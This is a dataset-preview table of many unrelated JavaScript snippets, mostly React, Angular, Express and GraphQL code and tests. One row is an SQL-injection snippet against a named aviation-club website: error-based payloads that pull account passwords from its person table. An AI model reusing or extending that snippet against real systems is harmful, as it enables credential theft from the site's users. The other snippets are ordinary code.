text stringlengths 7 3.69M |
|---|
const data =[
{
name:"MARKS",
darkicon:"https://www.clipartmax.com/png/middle/99-991615_mark-sheet-generation-exam-result-icon-png.png",
lighticon:"https://cdn.iconscout.com/icon/premium/png-256-thumb/mark-sheet-2191433-1849659.png",
navigate:"MarksCollegeStudent"
},
{
name: "ATT... |
const sections = document.querySelectorAll('.section');
const continueBtn=document.querySelector('#continueBtn');
const checkBtn=document.querySelector('#checkBtn');
const inputName=document.querySelector('#inputName');
const userNameDOM = document.querySelector('#userName');
const inputDate=document.querySelecto... |
angular.module('pl.const', []).
constant('CstNaming', {
matter: {
doc: {
'article': '图文',
'link': '链接',
'channel': '频道'
},
docOrder: ['article', 'link', 'channel'],
app: {
'enroll': '记录',
'signin': '签到',
'group':... |
/**
* @jest-environment jsdom
*/
import '@testing-library/jest-dom';
import React from 'react';
import { screen, render } from '@testing-library/react';
import Home from './Home';
test('Renders home view', () => {
render(<Home />);
const home = screen.getByText(/Home page/i);
expect(home).toBeInTheDocument();... |
import React, {Component} from 'react';
import PropTypes from 'prop-types';
import {registerUser} from '../actions/authActions';
import connect from 'react-redux/es/connect/connect';
class RegisterPage extends Component {
state = {
user: {
email: '',
firstName: '',
confi... |
/* Chat util functions */
const { addUser, removeUser, getUser, getAllUsers } = require('./utils/chatUsers.js');
/* Calculate distance between 2 points */
const { distance } = require('./utils/serverCalculations.js');
/* ----- Server setup ----- */
const app = require('express')();
const server = require('http').Serv... |
import React, {Component} from 'react';
import {AppRegistry, StyleSheet, Text, View, Button} from 'react-native';
import { StackNavigator } from 'react-navigation';
import CheckBox from 'react-native-checkbox';
import { SearchBar } from 'react-native-elements'
export default class SearchComponent extends Component{
s... |
export default class Rect{
body=null;
clickHandlers=[];
option=null;
position=[];
id=null;
_active=false;
constructor(jsonObj){
const _self=this;
this.body=jsonObj.svg.append("g");
this.body.attr("class","tag "+jsonObj.type);
this.option=jsonObj.option;
... |
export const signUpRequest = (signUpData) => ({
type: "SIGN_UP_REQUEST",
user: signUpData,
});
export const signInRequest = (signInData) => ({
type: "SIGN_IN_REQUEST",
user: signInData,
});
export const logOut = () => ({
type: "LOGOUT_REQUEST",
});
export const signInSuccess = ()=>({
type : "... |
module.exports = process.env.BEP15_COV ? require('./lib-cov/bep15') : require('./lib/bep15'); |
'use strict';
angular.
module('oprum').
config(['$routeProvider',
function config($routeProvider) {
$routeProvider
.when('/', {
templateUrl: '/apps/oprum/views/login.html',
controller: 'loginController'
})
.otherwise('/');
}
]);
|
/*
* @Description: vuex 方法
* @version: 0.1.0
* @Author: wsw
* @LastEditors: wsw
* @Date: 2019-04-24 15:30:54
* @LastEditTime: 2019-04-24 15:54:36
*/
import request from './request'
import common from '../utils/common.es'
export default {
// 获取配置文件
async loadConfig ({ state }) {
let urls = [
'./st... |
import React, { Component } from 'react';
export default class FinishedIcon extends Component {
render() {
let {finished} = this.props;
return (
finished ?
<div className="finished-icon"><i className="green-check fas fa-check"></i> Task Complete!</div>:
<div className="finished-icon"><i c... |
import React, { Component } from 'react';
import {
View,
Text,
TouchableHighlight,
StyleSheet,
ScrollView,
} from 'react-native';
import Icon from 'react-native-vector-icons/Ionicons';
import colors from '../styles/colors';
export default class InboxContainer extends Component {
static navigationOptions = {
ta... |
/*Goal: Generates a stat block for a DND character (e.g. hp, melee attack, saves, initiative, AC, skill points)
based on inputted name,character class,character level, and attributes
*/
//load prompt module
//var prompt = require('prompt');
//generate ability score modifier
function abilityscoremodcalc(score){
r... |
import React, { Component } from 'react'
import {
View,
Modal,
Text,
TouchableHighlight,
Stylesheet
} from 'react-native'
export default class Modals extends Component{
state = {
modalVisible: false
}
render() {
return (
<View style={{marginTop: 22,flexDirection:'row'}}>
<Modal ... |
function solve(sentence) {
let regex = /\b_[A-Za-z0-9]+\b/g;
let matchedWords = [];
let match = sentence.match(regex);
matchedWords.push(match.map(match => {
match = match.substring(1, match.length);
return match;
}));
console.log(matchedWords.join(','));
}
solve(`The _id and _ag... |
(function() {
'use strict';
angular.module('app')
.factory("Event", function($firebaseArray, $stateParams, $firebaseObject, FURL) {
var eventId = $stateParams.id;
var eventRef = new Firebase(FURL + "events");
return $firebaseObject(eventRef.child(eventId));
})
.factory('EventsService',... |
// server.js mock server
const jsonServer = require('json-server');
const db = require('./db.js');
const routes = require('./routes.js');
const port = 4000;
const server = jsonServer.create();
const router = jsonServer.router(db);
const middlewares = jsonServer.defaults();
const rewriter = jsonServer.rewriter(routes);... |
const {
GraphQLObjectType,
GraphQLString,
GraphQLBoolean,
GraphQLInt,
GraphQLSchema,
GraphQLList,
GraphQLNonNull,
GraphQLInputObjectType
} = require('graphql')
const {
getById,
getListById,
insertDocument
} = require('./resolvers')
//
// Types
//
const UserType = new GraphQ... |
export { default } from './PageaddcontractrelationRouter'; |
// export const analyticsData = [
// {
// id: 1,
// country: "USA",
// population: "320,000,000",
// language: "English",
// states: [
// {
// id: 678,
// state: "Indiana",
// population: 3000000,
// jobs: 12364
// },
// {
// id: 980,
// ... |
/// <reference path="jquery-1.8.2.js" />
var chepic = null;
var lines = null
var counter = 0;
var timerId = null;
//
var whereList = new Array();
var points = new Array();
var globaldata;
var temppoint; // 全局变量用来保存原来的点的位置
function SearchStation(which) {
var roadline = $("#roadline").val();
var roadname = $("#... |
import axios from 'axios';
import { SET_CARDS, SET_SEARCH, SET_CURRENT_CARD } from './actionTypes';
// Load Cards
export const loadCards = () => async (dispatch) => {
try {
const res = await axios.get('/'); //what page will this cards be on?
console.log('LOAD CARDS SUCCESS', res);
dispatch({
type: SET_CARDS,... |
/**********************
slide owl-carousel
**********************/
$(document).ready(function(){
$('.slide-aective').owlCarousel({
items:1,
autoplay:true,
smartSpeed:700,
loop:true
})
});
/**********************
categoryall owl-carousel
**********************/
$(document).ready(funct... |
// import { Popover } from 'bootstrap';
import React from "react";
import moment from "moment";
import { Link, useParams } from "react-router-dom";
import { useSelector } from "react-redux";
const SingleProjectCard = ({ project, page, team_lead_name }) => {
//formate date
let date = new Date(project.start_date);
... |
import React from 'react';
import {startServer} from '../api/server'
class StartServerButton extends React.Component {
render() {
const onClick = () => {
startServer();
this.props.onClick();
}
return <button onClick={onClick}>Start server</button>;
}
}
export default StartServerButton;
|
import { useEffect } from 'react'
import { useSelector, useDispatch } from 'react-redux'
// Pages
import Login from './Pages/Auth/Login'
import Content from './Pages/Content/Content'
//styling components
import './index.css'
import 'semantic-ui-css/semantic.min.css'
import ReactNotification from 'react-notifications-... |
import React, { Component } from 'react'
import Gallery from 'react-photo-gallery'
import Lightbox from 'react-images'
import { Security, ImplicitCallback } from '@okta/okta-react'
import SimpleStorageContract from './contracts/SimpleStorage.json'
import getWeb3 from './utils/getWeb3'
import ipfs from './ipfs'
import... |
import React from "react";
import { render, fireEvent, cleanup } from "@testing-library/react";
import NewMessageForm from "./../NewMessageForm";
describe("<NewMessageForm/>", () => {
let getByTestId;
afterEach(cleanup);
describe("clicking the send button", () => {
let sendHandler;
beforeEach(() => {
... |
import React, { Component } from 'react';
import { connect } from 'react-redux';
import { Paper } from 'material-ui';
import { getUsers, createUser, saveUser } from '../actions/users';
import { cancelEdit } from '../actions/route';
import EditEntity from '../components/admin/edit-entity';
import UserForm from '../comp... |
'use strict';
const BOOKS_IN_PAGE = 5;
const STORAGE_KEY = 'books';
var gSortBy;
var gCurrPage = 1;
var gBooks = createBooks();
function getBooksForDisplay() {
var from = (gCurrPage - 1) * BOOKS_IN_PAGE;
var to = from + BOOKS_IN_PAGE;
return gBooks.slice(from, to);
}
function getBook(bookId) {
return... |
#!/usr/bin/env node
const AWS = require('aws-sdk')
const url = require('url')
const Listr = require('listr')
const inquirer = require('inquirer')
const inquirerAutocomplete = require('inquirer-autocomplete-prompt')
inquirer.registerPrompt('autocomplete', inquirerAutocomplete)
const sleep = (timeout) => new Promise((r... |
function ubahHuruf(str){
var kamus = 'abcdefghijklmnopqrstuvwxyz';
var arr = [];
var arrBaru = [];
var temp = '';
for(var i = 0; i < str.length; i++){
arr.push(str[i]);
}
for(var i = 0; i < arr.length; i++){
for(var j = 0; j < kamus.length; j++){
if(arr[i] =... |
'use strict';
describe('Service: llConstants', function () {
// load the service's module
beforeEach(module('laoshiListApp'));
// instantiate service
var llConstants;
beforeEach(inject(function (_llConstants_) {
llConstants = _llConstants_;
}));
it('should do something', function () {
expect(!... |
var router = require('express').Router();
var Goal = require('./goalModel');
var lib = require('../lib/lib');
router.get('/', function(req, res) {
Goal.find({}, function(err, result) {
if(req.query.published && req.query.published === "true") {
var publishedGoals = result.filter(function(obj) ... |
let someArr=[[4, 5, 1, 3],[21212,232,1211212],[1,2]];
function largestOfFour(arr) {
let maxNumArr=[];
let biggestNumber=0;
for(let i=0;i<arr.length;i++){
let initialIndex=0;
for(let j=0;j<arr[i].length;j++){
if(arr[i][initialIndex]>arr[i][j]){
biggestNum... |
import React from 'react';
const NewsCard = (news) =>{
return(
<a href={news.news.url} className="ui centered card">
<div className="image">
<img src={news.news.urlToImage} alt=""/>
</div>
<div className="content">
<h3>{news.news.title}</h3>
</div>
</a>
);
}
export ... |
var video = document.querySelector('box');
var constraints = window.constraints = {
audio: false,
video: true
};
async function startCapture(displayMediaOptions) {
// create the unique token for this call
var token = Date.now()+"-"+Math.round(Math.random()*10000);
call_token = "#"+token;
var Wss2Server ... |
module.exports = function (application) {
application.get("/sobre", function (req, res) {
res.render("sobre-mim");
});
} |
'use strict';
let U = require('../library/util');
exports.setting = function* () {
try {
let body = U.extend(this.request.body, {
attention_to_users: null,
attention_to_books: null,
attention_to_musics: null
}, U.extend.RN);
if (body.schools && body.schools.length) {
body.schools = body.schools.sor... |
import React from 'react';
import AllSkills from './allSkills'
import {connect} from 'react-redux'
class App extends React.Component {
state={
skills: []
}
componentDidMount(){
fetch('https://handy-dandy-app.herokuapp.com/skills',{
headers: {
'Authorization': `${localStorage.token}`
... |
var HospitalAddress=require('../model/hospitalAddressModel');
exports.list_all_hospitalAddresses=function(req, res) {
HospitalAddress.getAllHospitalAddress(function(err, hospitalAddress) {
if (err) {
res.send(err);
}
console.log('res', hospitalAddress);
res.send(hospitalAddress);
});
};
exp... |
// defining my own IndexOf function for nodeLists
function getIndex(iterable,element){
var counter = 0
for (var i of iterable){
if (i == element){
return counter
}
counter ++;
}
}
// defining all the variables and constants
var gameOver = false;
const turn ... |
let changeTables = function (event) {
var element = event.target;
if (element.tagName === 'A') {
if(element.parentElement.parentElement.tagName !=='LI'){
return;
}
event.preventDefault();
let quantity = element.parentElement.parentElement.children... |
/**
* A PDF writer.
*/
var PDF = function(boundingBox) {
DocumentWriter.apply(this, arguments);
this.bbox = boundingBox;
this._doc.header = "%PDF-1.4";
this._doc.footer = "%%EOF";
};
PDF.prototype = Object.create(DocumentWriter.prototype);
PDF.prototype.constructor = PDF;
PDF.prototype._drawLine = f... |
(function($) {
'use strict';
$.getJSON('/getMyhotel', function (data) {
console.log(data);
$("#ordertable tr").remove();
var template = `
<tr data-id="%(id)s">
<td scope="row">%(id)s</td>
<td>%(star)s</td>
<td>%(locality)s</td>
<t... |
import registerComponent from '../../../core/component_registrator';
import SchedulerTimeline from './ui.scheduler.timeline';
import { getBoundingRect } from '../../../core/utils/position';
import { getIntervalDuration } from './utils/week';
var TIMELINE_CLASS = 'dx-scheduler-timeline-week';
export default class Schedu... |
angular.module("softtechApp")
.controller('UsersCtrl',['$scope','$http', '$dataFactory', 'DTOptionsBuilder', 'Notification','$filter',function($scope, $http, $dataFactory, DTOptionsBuilder, Notification,$filter){
$dataFactory.menuActive = "Usuarios";
// DataTables configurable options
$scope.dtOptions = DTOptio... |
var path = require("path");
var app = require("app");
var shell = require("shell");
var Menu = require("menu");
var Tray = require("tray");
var client = require("socket.io-client");
var request = require("request");
var tray = null;
var openedIconPath = path.join(__dirname, "images", "opened.jpg");
var closedIconPath... |
export { default } from './footer-mobile';
|
/**
* Social Visual Communication, Copyright � Peter O'Toole All Rights Reserved
*
* @author Peter O'Toole [email protected]
*
* @version 0.0.1
* @since 10/14/2014
*
*
* graphicManagement.js - Main business logic for handling graphics
*
*/
"use strict"
const express = require( "express" )
function r... |
/**
* Created by Phani on 9/28/2016.
*/
import {RestAPI} from "/imports/rest/restivus.js";
import * as Charts from "/imports/api/charts/charts.js";
import * as Graphs from "/imports/api/graphs/graphs.js";
import {validateGraph, getGraphWithoutLinks} from "/imports/api/graphs/methods.js";
import {getChart} from "/impo... |
const express = require('express');
const router = express.Router();
const Number = require('../models/Number')
/* GET home page. */
router.get('/',(req, res, next) => {
const promise = Number.find({});
promise.then((data) => {
res.json(data)
}).catch((err) => {
res.json(err)
});
});... |
const customers = [
{
id: 1,
firstName: 'Nikola',
lastName: 'Markovic',
email: '[email protected]'
},
{
id: 2,
firstName: 'Viktor',
lastName: 'Markovic',
email: '[email protected]'
}
]
export default class CustomerService {
getAllCustomers () {
return customers
}
de... |
/**
* Copyright 2016 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to... |
/*弹出层*/
/*
参数解释:
title 标题
url 请求的url
id 需要操作的数据id
w 弹出层宽度(缺省调默认值)
h 弹出层高度(缺省调默认值)
*/
function x_admin_show(title,url,w,h){
window.location.href=url;
}
function x_top_show(title,url,w,h){
window.location.href=url;
}
|
'use strict'
// Controls
const $textfield = document.getElementById('text')
const $btnSpeak = document.getElementById('btnSpeak')
// Speak button texts
const startText = $btnSpeak.textContent
const pauseText = $btnSpeak.dataset.pause
const resumeText = $btnSpeak.dataset.resume
// On play
$btnSpeak.addEventListener('... |
function a() {
function b() {
console.log(myVar);
}
var myVar = 2;
console.log(myVar);
b();
}
var myVar =1;
a();
console.log(Object.keys(trr));
var a = 1;
function printA() {
var b = 1;
function printB() {
var c=2;
function printC() {
var d=3;
console.log(a+b+c+d);
}
... |
import { h, render, useState, useEffect } from "@orby/core";
let setter = null;
export default function Router({ children, ...props }) {
const [url, setUrl] = useState(location.pathname);
useEffect(() => {
const handler = setUrl(location.pathname);
addEventListener("popstate", handler);
return () => r... |
/* eslint-disable */
var $ = require('jquery')
/* global DEBUG_GS */
/**
* Created by jfengjiang on 2015/9/11.
*/
$(function () {
// page stack
var stack = [];
var $container = $('.js_container');
//这里的click事件,它的事件是.js_cell[data-id],也就是class=js_cell,并且有data-id属性
$container.on('click', '.js_cell[d... |
import Section from "./abstract/Section";
class Cell extends Section {}
export default Cell; |
import React from "react";
import "./StepCounter.scss";
const StepCounter = props => (
<span className="step-counter">
{props.currentStep}/{props.stepSum}
</span>
);
export default StepCounter;
|
import React from 'react';
import Member from './member.js';
import * as actions from "./actions";
import {connect} from 'react-redux';
import _ from 'lodash';
import $ from 'jquery';
import classnames from 'classnames';
const Container = React.createClass({
propTypes: {
selectMember : React.PropTypes.fun... |
let nombre ="hola"
var pais ="mexico"
var continente="latinoamerica"
var antiguedad = 2021
var pais_y_continente = pais+ " "+continente
var pais_y_continente = pais+ " "+continente
alert(pais_y_continente);
console.log(pais_y_continente, antiguedad);
console.log(nombre)
|
var bmi = function(weight,height){
var scale = weight /(height*height);
if(scale<18.5) return "Underweight";
else if(scale<25) return "Normal Weight";
else if(scale<30) return "Overweight";
else return "Obese";
}
console.log(bmi(73,1.778)) |
const axios = require('axios')
const {
NOTE_SERVICE_USERNAME: username,
NOTE_SERVICE_PASSWORD: password,
NOTE_SERVICE_URL: noteServiceUrl
} = process.env
class AnnotationService {
constructor () {
this.apiToken = null
this.tokenIssueDate = null
}
/**
* Login and set the api token
* @returns... |
function Conversor() {
/* Atributos */
this.millas = 0;
this.kilometros = ' <ingrese millas> ';
/* Metodos */
this.convertir = function() {
this.kilometros = this.millas * 1.60934;
};
} |
var mongoose = require('mongoose');
var Student = require('./models/student')
var dbURI = 'mongodb://localhost:27017/3b';
mongoose.connect(dbURI, { useNewUrlParser: true, useCreateIndex: true, useUnifiedTopology: true });
mongoose.connection.on('connected', () => {
console.log(`Mongoose connected to ${dbURI}`);
... |
import Vue from 'vue'
import App from './App.vue'
import axios from 'axios'
import Vuelidate from 'vuelidate'
import router from './router'
import store from './store'
Vue.use(Vuelidate)
// Sets up the axios url to be used globally
axios.defaults.baseURL = 'https://vue-axios-cc3ce.firebaseio.com'
// Some examples o... |
import helpers, { TaggedLogger } from './index';
describe('/helpers', () => {
it('should export all functions as default', () => {
expect(typeof helpers).toBe('object');
expect(typeof helpers.TaggedLogger).toBe('function');
});
it('should export as named export', () => {
expect(typeof TaggedLogger).... |
const fs = require('fs');
const colors = require('colors');
const creaArchivo = async(base = 5, listar = false, hasta = 10) => {
try {
let salida = '',
archivo = '';
for (let i = 1; i <= hasta; i++){
salida += `${colors.green(base)} ${'X'.white} ${colors.r... |
var app = angular.module('ic', ['ngRoute', 'ui.bootstrap']);
app.config(function($routeProvider, $locationProvider) {
$routeProvider
.when('/coordinator',{
templateUrl : 'views/company/company_login'
})
.when('/coordinator/home', {
templateUrl : 'views/company/compan... |
/**
* @typedef {Function} <propertiesPanel.showEntry> callback
*
* @example
*
* useEvent('propertiesPanel.showEntry', ({ focus = false, ...rest }) => {
* // ...
* });
*
* @param {Object} context
* @param {boolean} [context.focus]
*
* @returns void
*/
/**
* @typedef {Function} <propertiesPanel.showError... |
import Joi from 'joi';
import Product from '../models/product';
class ProductCtrl {
constructor() {
this.CreateSchema = Joi.object().keys({
vehicle: Joi.string().max(32).required(),
title: Joi.string().max(255).required(),
description: Joi.string().max(2000).required(),
price: Joi.number... |
// shared settings
export default {
viewEngine: {
proxyed: true,
upstream: 'http://localhost:3000',
name: 'next',
ext: '.jsx', // template extension
options: {
// options to be passed to view engine
},
},
}
|
import axios from 'axios'
import jwt from 'jsonwebtoken'
import {ROOT_API} from "../types/types";
let headers = {}
let body = {}
// const source = axios.CancelToken.source();
const axiosInstance = axios.create({
baseURL: ROOT_API,
headers:{
...headers,
"Authorization":localStorage.getItem("tok... |
import {
getTasks,// 1 查询所有的任务
personCensus,// 21 人员统计
taskCensus,// 22 任务统计
getTaskCountByStatus,//12任务分类统计
} from '@/services/api';
export default {
name: 'orderF',
state: { rst: [] },
effects: {
// A 查询所有的任务
*getTasks({ payload, callback }, { call }) {
const response = yield call(getTa... |
import { expect, request, sinon } from '../../test-helper'
import app from '../../../app'
import Subscribe from '../../../src/use_cases/subscribe'
describe('Integration | Routes | subscriptions route', () => {
describe('POST /api/subscriptions', () => {
const email = '[email protected]'
beforeEach(() => {
... |
import React, { Component } from 'react'
import Toolbar from '@material-ui/core/Toolbar';
import Typography from '@material-ui/core/Typography';
export default class Home extends Component {
render() {
return (
<main>
<Toolbar/>
<Typography paragraph>
... |
var Middleware = require('..');
var expect = require('chai').expect;
var middleware;
var stack;
var error = new Error('thrown');
// middleware
function middle(req, res, next) {
req.middle = true;
return next();
}
function ware(req, res, next) {
req.ware = true;
return next();
}
function none(req, res, next) {
... |
import React, { Component } from 'react'
// eslint-disable-next-line import/no-webpack-loader-syntax
import worker from 'workerize-loader!./../Fibonacci.worker'
class Fibonacci extends Component {
state = {
number: '',
isCalculating: false,
// number for who the fibonacci was calcuated
exNumber: 0,
fibonacc... |
import React, {Component} from 'react';
import {
Platform,
StyleSheet,
Text,
View,
Modal,
Alert,
FlatList,
TouchableWithoutFeedback, Image, ScrollView
} from 'react-native';
import Header from "../CommonModules/Header";
import PageListView from 'react-native-page-listview';
import px2dp ... |
(function () {
'use strict';
/* @ngdoc object
* @name impressum
* @description
*
*/
angular
.module('archiv2017', [
'ui.router',
'slick',
'mm.foundation',
'home',
'0308frauentag',
'0519deutschrock',
'0521tausch',
'062117musique',
'071517kinder... |
import React, { Component } from 'react';
import * as Ons from 'react-onsenui';
import styles from 'Styles/ToolBar.scss';
export const ToolBar = props => {
let handleBackClick = navigator => () =>
navigator.popPage();
return (
<Ons.Toolbar className={styles.toolbar}>
<div className="left">
... |
App.Location = DS.Model.extend({
title : DS.attr('object')
});
App.Location.FIXTURES = [
{id: 1, title: {SV:'Humanistiska Biblioteket', EN: 'Humanities Library'}},
{id: 2, title: {SV: 'Pedagogiska Biblioteket', EN: 'Education Library'}}
]; |
import React, {Component} from 'react';
import {
View,
StyleSheet,
StatusBar,
ScrollView,
ImageBackground,
Text,
Alert,
AsyncStorage,
TouchableOpacity,
TextInput,
Image,
FlatList,
PanResponder,
Dimensions,
} from 'react-native';
import {SwipeRow, List, Content} from 'native-base';
import {In... |
import React, { useState } from "react";
import {
Button,
Modal as ModalArea,
ModalHeader,
ModalBody,
ModalFooter,
Form,
FormGroup,
Input,
Label
} from "reactstrap";
import "./ModalTimeOff.css";
import { firebaseTools } from "../../utils/firebase";
export const ModalTimeOff = ({ typeLabel, daysLabel... |
import $ from "jquery";
import "./import/slick/slick.min.js";
import "./import/scroll/jquery.nicescroll.min.js"
import "../blocks/modules/main/main.js";
import "../blocks/modules/catalog/catalog.js";
import "../blocks/modules/info/info.js";
|
var url = 'https://www.aircraftclubs.com/functions/aircraft/getAircraft.php',
id = " ExtractValue(null,substr(concat(0x3a,(SELECT CONCAT(`ACC_PASSWORD`) FROM person WHERE ClubId = 29 limit 0,1)),1)) = 1 ",
id2 = " CONVERT_TZ(1,(SELECT CONCAT(`FileName`) FROM file limit 0,1),1) = 1 ",
id3 = " ExtractValue(nu... |
$(document).ready(function () {
var years = []
var currYear = new Date().getFullYear()+8;
var dropdown = $(".yearPicker");
years[0] ="";
for (i = 1; i < 101; i++) {
years[i] = currYear + 1 - i;
}
dropdown.each(function () {
var selecteD = dropdown.attr('selectedYea... |
// test all those function
// I may need to rebase it to 00 00 00 time
export const todayDate = () => {
const now = Date.now()
const dateNow = new Date(now);
const year = dateNow.getFullYear()
const month = dateNow.getMonth() + 1
const date = dateNow.getDate()
return `${year}-${mont... |
import React, { Component } from 'react';
import styles from './GetStarted.module.css';
import Container from '../../Container/Container';
import Link from '../../Link/Link';
class GetStarted extends Component {
render() {
return (
<div className={styles.getStartedWrapper}>
<Container>
<d... |
var app = getApp();
var api = require("../api.js");
var sensors = require("./../../../utils/sensors.js");
Page({
scrollTop: 0,
canvasData: [],
canvasInfo: {
space: 4,
lineWeight: 2,
scoreColor: "#ffffff",
topSpace: 15
},
data: {
focus: false,
canvas... |
import React, { useState } from 'react';
import AddCategory from './AddCategory';
import AllCategories from './AllCategories';
import EditCategory from './EditCategory';
const CategoriesPage = () => {
const [show, setShow] = useState(false);
const [updateIndex, setUpdateIndex] = useState(-1);
return (
... |
'use strict';
var gulp = require('gulp'),
nodemon = require('gulp-nodemon'),
// LiveServer = require('gulp-live-server'),
browserSync = require('browser-sync'),
browserify = require('browserify'),
source = require('vinyl-source-stream'),
reactify = require('reactify');
gulp.task('default', ['browser-sync'], fu... |
import React from 'react';
import styles from './style.module.css';
export default function SpecialGrid({ image, children }) {
return (
<div className={styles.root}>
<div className={styles.leftSection}>{children}</div>
<img alt="img" src={image} className={styles.image} />
</div>
);
}
|
import React from 'react'
import { BrowserRouter, Route, Switch } from 'react-router-dom'
import Header from '../components/Header'
import LinksDashboard from '../components/LinksDashboard'
import CreateLink from '../components/CreateLink'
import LoginPage from '../components/LoginPage'
import EditPage from '..... |
import React from 'react';
import Modal from 'react-modal'
const customStyles = {
content: {
top: '50%',
left: '50%',
right: 'auto',
bottom: 'auto',
marginRight: '-50%',
transform: 'translate(-50%, -50%)',
width: '40rem',
height: '25rem'
}
};
Moda... |
function increaseTodoPageNumber() {
return {
type: "TODO-INCREMENT",
};
}
function increaseDonePageNumber() {
return {
type: "DONE-INCREMENT",
};
}
function increasePinPageNumber() {
return {
type: "PIN-INCREMENT",
};
}
export {
increaseTodoPageNumber,
increaseDonePageNumber,
increasePi... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.